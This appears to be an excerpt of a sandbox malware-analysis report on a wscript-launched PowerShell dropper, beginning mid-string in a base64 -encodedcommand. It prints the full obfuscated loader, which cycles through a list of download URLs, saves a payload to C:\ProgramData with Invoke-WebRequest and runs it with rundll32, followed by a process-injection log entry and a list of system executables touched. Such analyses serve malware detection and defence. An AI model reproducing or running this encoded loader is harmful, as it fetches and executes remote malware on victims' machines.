QBiAHcAQgB1AEEARgBBAEEAYwBnAEIAdgBBAEcAUQBBAGQAUQBCAGoAQQBHAFUAQQBjAGcAQgB6AEEARwBnAEEAYQBRAEIAdwBBAEMANABBAFkAZwBCAGgAQQBIAEkAQQBMAHcAQQA1AEEARABNAEEAUwBRAEIAeQBBAEMAOABBAE4AdwBCAFUAQQBFAG8AQQBOAHcAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBNAFEAQQAwAEEAQwA4AEEATwBBAEIAQwBBAEgAbwBBAEwAdwBCAHcAQQBIAE0AQQBhAFEAQgBVAEEARwBNAEEATwBBAEIAMABBAEEAPQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAGcAQQA1AEEAQwA4AEEATgB3AEIANABBAEgAWQBBAGIAZwBCAG8AQQBEAEUAQQBXAFEAQQB2AEEASABjAEEAUwBnAEEAeQBBAEgAVQBBAE0AdwBCAEUAQQBBAD0APQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATgB3AEEAdwBBAEMAOABBAFkAdwBCAEUAQQBGAE0AQQBkAFEAQgBIAEEARwBJAEEATAB3AEIAUwBBAEgAYwBBAFYAZwBCAHYAQQBFADAAQQBSAHcAQgBwAEEARwBZAEEAUgB3AEIAVQBBAEEAPQA9ACIAOwAkAFoAbwBuAG8AcABsAGEAYwBlAG4AdABhAGwAaQBhAEUAdQBwAHIAYQBjAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBnAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAEEAQQBMAGcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBBAD0APQBjAEEAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAFEAQgA0AEEARwBFAEEAYgBRAEIAcABBAEcANABBAFkAUQBCAGkAQQBHAHcAQQBaAFEAQgBJAEEARwA4AEEAYwBnAEIAegBBAEcAVQBBAFkAZwBCAGwAQQBHAEUAQQBiAGcAQQB1AEEARwBFAEEAZABBAEEAPQBjAEEAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFYAQQBHADQAQQBkAFEAQgBpAEEARwBrAEEAYwBRAEIAMQBBAEcAawBBAGQAQQBCAHYAQQBIAFUAQQBjAHcAQgB1AEEARwBVAEEAYwB3AEIAegBBAEMANABBAGMAZwBCAGwAQQBHAGsAQQBjAHcAQgBsAEEAQQA9AD0AYwBBAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABnAEEATABnAEEANQBBAEQAawBBAEwAZwBBAHgAQQBEAEEAQQBOAFEAQQB1AEEARABJAEEATgBRAEEAMABBAEEAPQA9ACIAOwAkAFMAZQBtAGkAbABlAGcAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABNAEEATgBRAEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQA0AEEARABVAEEATABnAEEANQBBAEQAYwBBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGIAbwBuAGUAdAB0AGEAIABpAG4AIAAkAFAAcgBlAGQAYQB3AG4AcwAgAC0AcwBwAGwAaQB0ACAAIgByAFAAIgApACAAewB0AHIAeQAgAHsAJABNAHUAcwByAG8AbABOAGUAdwBsAGkAbgBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAWgBRAEIAawBBAEcAawBBAFkAUQBCADAAQQBIAEkAQQBlAFEAQQB1AEEARwB3AEEAYQBRAEIAMgBBAEcAVQBBAEoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEARwBVAEEAWQBRAEIAawBBAEcAUQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgBsAEEASABNAEEATABnAEIAcwBBAEcAOABBAGIAZwBCAGsAQQBHADgAQQBiAGcAQQA9AEoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABJAEEATwBRAEEAdQBBAEQARQBBAE8AUQBBAHkAQQBDADQAQQBNAGcAQQB3AEEARABFAEEATABnAEEAeQBBAEQAVQBBAE0AQQBBAD0AIgA7ACQAaQByAGkAZABlAHMAYwBlAG4AYwBlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADAAQQBIAFUAQQBZAGcAQgAxAEEARwB3AEEAYQBRAEIAawBBAEcAVQBBAGIAZwBCADAAQQBHAEUAQQBkAEEAQgBoAEEAQwA0AEEAWgB3AEIAaABBAEcAMABBAFoAUQBCAHoAQQBBAD0APQBTAE4APQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGMAQQBiAHcAQgBrAEEARwBRAEEAYQBRAEIAcgBBAEcAawBBAGIAZwBCAEIAQQBHAE0AQQBZAHcAQgBwAEEARwBRAEEAYQBRAEIAbABBAEMANABBAGQAZwBCAHYAQQBIAGsAQQBZAFEAQgBuAEEARwBVAEEAUwBOAD0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEARwBFAEEAYgBnAEIAagBBAEgASQBBAFoAUQBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBjAEEAYQBRAEIAaABBAEMANABBAGMAQQBCAHkAQQBHAFUAQQBjAHcAQgB6AEEAQQA9AD0AUwBOAD0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABNAEEATQBRAEEAdQBBAEQAawBBAE0AUQBBAHUAQQBEAEUAQQBPAFEAQQA0AEEAQwA0AEEATQBRAEEAeABBAEQAVQBBACIAOwAkAGMAdQBtAHUAbABlAG4AZQBTAHQAeQBsAGEAdABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAbwBuAGUAdAB0AGEAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABjAHUAbQB1AGwAZQBuAGUAUwB0AHkAbABhAHQAZQAgAC0ATwAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABzAHQAdQBtAHAAYQBnAGUAcwAuAFMAaABhAG4AZwBoAGEAaQBpAG4AZwA7ACQAVQBuAGcAYQB6AGkAbgBnAFQAZQBwAGgAcgBpAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADQAQQBDADQAQQBNAFEAQQAwAEEARABJAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAHUAQQBEAFEAQQBOAFEAQQA9AHAAbAB5AEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAegBBAEMANABBAE0AZwBBADAAQQBEAGMAQQBMAGcAQQA1AEEARABjAEEATABnAEEAeABBAEQAZwBBAE0AZwBBAD0AIgA7ACQAYQBjAGUAaQB0AHUAbgBhAE4AbwBuAHMAcABlAGMAdQBsAGEAdABpAHYAZQBsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATQBRAEEAdQBBAEQARQBBAE4AZwBBADEAQQBDADQAQQBNAGcAQQB3AEEARABVAEEAQQBoAFcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBVAEEASABJAEEAYQBRAEIAagBBAEcAZwBBAGIAQQBCAHYAQQBIAEkAQQBiAHcAQgBsAEEASABRAEEAYQBBAEIAaABBAEcANABBAFoAUQBBAHUAQQBHAHMAQQBhAFEAQgAwAEEARwBNAEEAYQBBAEIAbABBAEcANABBAEEAaABXAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAGIAdwBCAHUAQQBHAFEAQQBaAFEAQgB5AEEARwBFAEEAYgBnAEIAMABBAEUAYwBBAGMAZwBCAGgAQQBIAE0AQQBjAHcAQgBqAEEARwBnAEEAWQBRAEIAMABBAEMANABBAGQAUQBCAHUAQQBHAGsAQQBkAGcAQgBsAEEASABJAEEAYwB3AEIAcABBAEgAUQBBAGUAUQBBAD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAcwB0AHUAbQBwAGEAZwBlAHMALgBTAGgAYQBuAGcAaABhAGkAaQBuAGcAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADQAOAAxADYANwApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAYwB3AEIAMABBAEgAVQBBAGIAUQBCAHcAQQBHAEUAQQBaAHcAQgBsAEEASABNAEEATABnAEIAVABBAEcAZwBBAFkAUQBCAHUAQQBHAGMAQQBhAEEAQgBoAEEARwBrAEEAYQBRAEIAdQBBAEcAYwBBAEwAQQBCAHQAQQBIAFUAQQBjAHcAQgAwAEEARABzAEEAIgA7ACQAdAByAGkAZwBvAG4AbwBjAGUAcABoAGEAbAB5AEMAbwBuAHQAcgBhAHMAdABzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAwAEEARABJAEEATABnAEEAMABBAEQATQBBAEwAZwBBAHgAQQBEAEEAQQBNAGcAQQB1AEEARABFAEEATgBRAEEAegBBAEEAPQA9AEwAQwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAYwB3AEIAMABBAEcARQBBAFoAZwBCAG0AQQBDADQAQQBaAEEAQgBsAEEAQQA9AD0ATABDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEcATQBBAGIAdwBCAHcAQQBIAFUAQQBiAEEAQgB2AEEASABVAEEAYwB3AEIAdQBBAEcAVQBBAGMAdwBCAHoAQQBDADQAQQBjAGcAQgBsAEEARwA0AEEAZABBAEIAaABBAEcAdwBBAGMAdwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AfQAgAGMAYQB0AGMAaAAgAHsAfQB9AA=="
parent_process wscript.exe martian_process powershell -encodedcommand "JABNAGUAbABlAHQAaQBhAG4ARABpAHMAYwBvAG0AZgBvAHIAdABpAG4AZwBsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBOAFEAQQB1AEEARABJAEEATQBRAEEAMgBBAEMANABBAE8AQQBBAHoAQQBDADQAQQBPAFEAQQB5AEEAQQA9AD0ASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBaAFEAQgB1AEEASABRAEEAYwBnAEIAMQBBAEcAMABBAEwAZwBCAGoAQQBHADgAQQBiAFEAQgB3AEEARwBFAEEAYgBnAEIANQBBAEEAPQA9ACIAOwAkAFAAcgBlAGQAYQB3AG4AcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQwBBAEcAVQBBAFoAZwBCAGgAQQBHAHcAQQBiAEEAQgBLAEEARwBFAEEAZQBRAEIAMwBBAEcARQBBAGIAQQBCAHIAQQBHAGsAQQBiAGcAQgBuAEEAQwA0AEEAYwB3AEIAagBBAEcAOABBAGQAQQBBAHYAQQBGAEUAQQBaAFEAQgBwAEEARgBVAEEAUQBRAEEAdgBBAEQAUQBBAFQAdwBBAHcAQQBBAD0APQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABJAEEATABnAEEAeQBBAEQAQQBBAE0AdwBBAHUAQQBEAEUAQQBNAFEAQQA0AEEAQwA0AEEATQBRAEEAeQBBAEQAZwBBAEwAdwBCAG0AQQBEAEEAQQBXAGcAQgBMAEEAQwA4AEEAUwBRAEEAPQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBnAEEANABBAEMANABBAE0AZwBBAHcAQQBEAFkAQQBMAGcAQQAzAEEARABrAEEATABnAEEAeQBBAEQAVQBBAE4AUQBBAHYAQQBHADQAQQBXAGcAQgBJAEEARABRAEEAVwBRAEEAdgBBAEcAYwBBAFEAUQBBADQAQQBFAHMAQQBUAHcAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAE0AQQBMAGcAQQB5AEEARABBAEEATwBRAEEAdQBBAEQARQBBAE4AQQBBAHkAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATAB3AEEAeABBAEUAMABBAE4AdwBBAHYAQQBHAGMAQQBPAFEAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEUAQQBaAEEAQgBoAEEARwAwAEEAWQBRAEIAdQBBAEgAUQBBAGIAdwBCAGkAQQBHAHcAQQBZAFEAQgB6AEEASABRAEEAVQBBAEIAbABBAEgASQBBAGIAQQBCAGgAQQBIAFEAQQBhAFEAQgAyAEEARwBVAEEATABnAEIAagBBAEcAOABBAGIAQQBCAHMAQQBHAFUAQQBaAHcAQgBsAEEAQwA4AEEATQB3AEIAUABBAEQAWQBBAFMAZwBCAEwAQQBDADgAQQBUAFEAQgBKAEEARwBnAEEAcgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUATQBBAGIAdwBCAHQAQQBHADAAQQBiAHcAQgB1AEEARgBBAEEAYwBnAEIAdgBBAEcAUQBBAGQAUQBCAGoAQQBHAFUAQQBjAGcAQgB6AEEARwBnAEEAYQBRAEIAdwBBAEMANABBAFkAZwBCAGgAQQBIAEkAQQBMAHcAQQA1AEEARABNAEEAUwBRAEIAeQBBAEMAOABBAE4AdwBCAFUAQQBFAG8AQQBOAHcAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBNAFEAQQAwAEEAQwA4AEEATwBBAEIAQwBBAEgAbwBBAEwAdwBCAHcAQQBIAE0AQQBhAFEAQgBVAEEARwBNAEEATwBBAEIAMABBAEEAPQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAGcAQQA1AEEAQwA4AEEATgB3AEIANABBAEgAWQBBAGIAZwBCAG8AQQBEAEUAQQBXAFEAQQB2AEEASABjAEEAUwBnAEEAeQBBAEgAVQBBAE0AdwBCAEUAQQBBAD0APQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATgB3AEEAdwBBAEMAOABBAFkAdwBCAEUAQQBGAE0AQQBkAFEAQgBIAEEARwBJAEEATAB3AEIAUwBBAEgAYwBBAFYAZwBCAHYAQQBFADAAQQBSAHcAQgBwAEEARwBZAEEAUgB3AEIAVQBBAEEAPQA9ACIAOwAkAFoAbwBuAG8AcABsAGEAYwBlAG4AdABhAGwAaQBhAEUAdQBwAHIAYQBjAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBnAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAEEAQQBMAGcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBBAD0APQBjAEEAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAFEAQgA0AEEARwBFAEEAYgBRAEIAcABBAEcANABBAFkAUQBCAGkAQQBHAHcAQQBaAFEAQgBJAEEARwA4AEEAYwBnAEIAegBBAEcAVQBBAFkAZwBCAGwAQQBHAEUAQQBiAGcAQQB1AEEARwBFAEEAZABBAEEAPQBjAEEAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFYAQQBHADQAQQBkAFEAQgBpAEEARwBrAEEAYwBRAEIAMQBBAEcAawBBAGQAQQBCAHYAQQBIAFUAQQBjAHcAQgB1AEEARwBVAEEAYwB3AEIAegBBAEMANABBAGMAZwBCAGwAQQBHAGsAQQBjAHcAQgBsAEEAQQA9AD0AYwBBAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABnAEEATABnAEEANQBBAEQAawBBAEwAZwBBAHgAQQBEAEEAQQBOAFEAQQB1AEEARABJAEEATgBRAEEAMABBAEEAPQA9ACIAOwAkAFMAZQBtAGkAbABlAGcAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABNAEEATgBRAEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQA0AEEARABVAEEATABnAEEANQBBAEQAYwBBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGIAbwBuAGUAdAB0AGEAIABpAG4AIAAkAFAAcgBlAGQAYQB3AG4AcwAgAC0AcwBwAGwAaQB0ACAAIgByAFAAIgApACAAewB0AHIAeQAgAHsAJABNAHUAcwByAG8AbABOAGUAdwBsAGkAbgBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAWgBRAEIAawBBAEcAawBBAFkAUQBCADAAQQBIAEkAQQBlAFEAQQB1AEEARwB3AEEAYQBRAEIAMgBBAEcAVQBBAEoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEARwBVAEEAWQBRAEIAawBBAEcAUQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgBsAEEASABNAEEATABnAEIAcwBBAEcAOABBAGIAZwBCAGsAQQBHADgAQQBiAGcAQQA9AEoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABJAEEATwBRAEEAdQBBAEQARQBBAE8AUQBBAHkAQQBDADQAQQBNAGcAQQB3AEEARABFAEEATABnAEEAeQBBAEQAVQBBAE0AQQBBAD0AIgA7ACQAaQByAGkAZABlAHMAYwBlAG4AYwBlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADAAQQBIAFUAQQBZAGcAQgAxAEEARwB3AEEAYQBRAEIAawBBAEcAVQBBAGIAZwBCADAAQQBHAEUAQQBkAEEAQgBoAEEAQwA0AEEAWgB3AEIAaABBAEcAMABBAFoAUQBCAHoAQQBBAD0APQBTAE4APQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGMAQQBiAHcAQgBrAEEARwBRAEEAYQBRAEIAcgBBAEcAawBBAGIAZwBCAEIAQQBHAE0AQQBZAHcAQgBwAEEARwBRAEEAYQBRAEIAbABBAEMANABBAGQAZwBCAHYAQQBIAGsAQQBZAFEAQgBuAEEARwBVAEEAUwBOAD0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEARwBFAEEAYgBnAEIAagBBAEgASQBBAFoAUQBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBjAEEAYQBRAEIAaABBAEMANABBAGMAQQBCAHkAQQBHAFUAQQBjAHcAQgB6AEEAQQA9AD0AUwBOAD0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABNAEEATQBRAEEAdQBBAEQAawBBAE0AUQBBAHUAQQBEAEUAQQBPAFEAQQA0AEEAQwA0AEEATQBRAEEAeABBAEQAVQBBACIAOwAkAGMAdQBtAHUAbABlAG4AZQBTAHQAeQBsAGEAdABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAbwBuAGUAdAB0AGEAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABjAHUAbQB1AGwAZQBuAGUAUwB0AHkAbABhAHQAZQAgAC0ATwAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABzAHQAdQBtAHAAYQBnAGUAcwAuAFMAaABhAG4AZwBoAGEAaQBpAG4AZwA7ACQAVQBuAGcAYQB6AGkAbgBnAFQAZQBwAGgAcgBpAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADQAQQBDADQAQQBNAFEAQQAwAEEARABJAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAHUAQQBEAFEAQQBOAFEAQQA9AHAAbAB5AEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAegBBAEMANABBAE0AZwBBADAAQQBEAGMAQQBMAGcAQQA1AEEARABjAEEATABnAEEAeABBAEQAZwBBAE0AZwBBAD0AIgA7ACQAYQBjAGUAaQB0AHUAbgBhAE4AbwBuAHMAcABlAGMAdQBsAGEAdABpAHYAZQBsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATQBRAEEAdQBBAEQARQBBAE4AZwBBADEAQQBDADQAQQBNAGcAQQB3AEEARABVAEEAQQBoAFcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBVAEEASABJAEEAYQBRAEIAagBBAEcAZwBBAGIAQQBCAHYAQQBIAEkAQQBiAHcAQgBsAEEASABRAEEAYQBBAEIAaABBAEcANABBAFoAUQBBAHUAQQBHAHMAQQBhAFEAQgAwAEEARwBNAEEAYQBBAEIAbABBAEcANABBAEEAaABXAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAGIAdwBCAHUAQQBHAFEAQQBaAFEAQgB5AEEARwBFAEEAYgBnAEIAMABBAEUAYwBBAGMAZwBCAGgAQQBIAE0AQQBjAHcAQgBqAEEARwBnAEEAWQBRAEIAMABBAEMANABBAGQAUQBCAHUAQQBHAGsAQQBkAGcAQgBsAEEASABJAEEAYwB3AEIAcABBAEgAUQBBAGUAUQBBAD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAcwB0AHUAbQBwAGEAZwBlAHMALgBTAGgAYQBuAGcAaABhAGkAaQBuAGcAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADQAOAAxADYANwApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAYwB3AEIAMABBAEgAVQBBAGIAUQBCAHcAQQBHAEUAQQBaAHcAQgBsAEEASABNAEEATABnAEIAVABBAEcAZwBBAFkAUQBCAHUAQQBHAGMAQQBhAEEAQgBoAEEARwBrAEEAYQBRAEIAdQBBAEcAYwBBAEwAQQBCAHQAQQBIAFUAQQBjAHcAQgAwAEEARABzAEEAIgA7ACQAdAByAGkAZwBvAG4AbwBjAGUAcABoAGEAbAB5AEMAbwBuAHQAcgBhAHMAdABzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAwAEEARABJAEEATABnAEEAMABBAEQATQBBAEwAZwBBAHgAQQBEAEEAQQBNAGcAQQB1AEEARABFAEEATgBRAEEAegBBAEEAPQA9AEwAQwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAYwB3AEIAMABBAEcARQBBAFoAZwBCAG0AQQBDADQAQQBaAEEAQgBsAEEAQQA9AD0ATABDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEcATQBBAGIAdwBCAHcAQQBIAFUAQQBiAEEAQgB2AEEASABVAEEAYwB3AEIAdQBBAEcAVQBBAGMAdwBCAHoAQQBDADQAQQBjAGcAQgBsAEEARwA0AEEAZABBAEIAaABBAEcAdwBBAGMAdwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AfQAgAGMAYQB0AGMAaAAgAHsAfQB9AA=="
Process injection Process 2552 resumed a thread in remote process 2692
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000300
suspend_count: 1
process_identifier: 2692
1 0 0
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe